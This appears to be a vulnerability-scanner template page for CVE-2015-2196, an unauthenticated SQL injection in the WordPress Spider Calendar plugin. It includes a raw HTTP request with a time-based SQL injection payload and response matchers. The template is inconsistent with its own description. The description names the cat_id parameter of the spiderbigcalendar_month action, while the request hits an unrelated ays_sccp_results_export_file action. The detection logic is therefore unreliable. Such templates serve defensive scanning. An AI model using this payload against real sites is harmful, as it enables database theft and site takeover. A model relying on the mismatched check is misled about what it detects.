WordPress Spider Calendar <=1.4.9 - SQL Injection

ID: CVE-2015-2196

Severity: high

Author: theamanrawat

Tags: time-based-sqli,cve2015,cve,wordpress,wp,sqli,wpscan,wp-plugin,spider-event-calendar,unauth,edb,web-dorado

Description

WordPress Spider Calendar plugin through 1.4.9 is susceptible to SQL injection. An attacker can execute arbitrary SQL commands via the cat_id parameter in a spiderbigcalendar_month action to wp-admin/admin-ajax.php, thus making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.

YAML Source

id: CVE-2015-2196

info:
  name: WordPress Spider Calendar <=1.4.9 - SQL Injection
  author: theamanrawat
  severity: high
  description: |
    WordPress Spider Calendar plugin through 1.4.9 is susceptible to SQL injection. An attacker can execute arbitrary SQL commands via the cat_id parameter in a spiderbigcalendar_month action to wp-admin/admin-ajax.php, thus making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or complete compromise of the WordPress site.
  remediation: Fixed in version 1.4.14.
  reference:
    - https://wpscan.com/vulnerability/8d436356-37f8-455e-99b3-effe8d0e3cad
    - https://wordpress.org/plugins/spider-event-calendar/
    - http://www.exploit-db.com/exploits/36061
    - https://nvd.nist.gov/vuln/detail/CVE-2015-2196
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2015-2196
    cwe-id: CWE-89
    epss-score: 0.00253
    epss-percentile: 0.65124
    cpe: cpe:2.3:a:web-dorado:spider_calendar:1.4.9:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: web-dorado
    product: spider_calendar
    framework: wordpress
  tags: time-based-sqli,cve2015,cve,wordpress,wp,sqli,wpscan,wp-plugin,spider-event-calendar,unauth,edb,web-dorado

http:
  - raw:
      - |
        @timeout 10s
        GET /wp-admin/admin-ajax.php?action=ays_sccp_results_export_file&sccp_id[]=1)+AND+(SELECT+1183+FROM+(SELECT(SLEEP(6)))UPad)+AND+(9752=9752&type=json HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration_1>=6'
          - 'status_code == 200'
          - 'contains(body, "{\"status\":true,\"data\"")'
        condition: and
# digest: 4a0a00473045022100d4bf3799f9724e98dfd21d37f4b1796cd519b9931e53aa506e2add8fa360e85602205ebc0f189a936979dd4f4cc0f76833204f6e8193e82ce27069bc3d53032b3609:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

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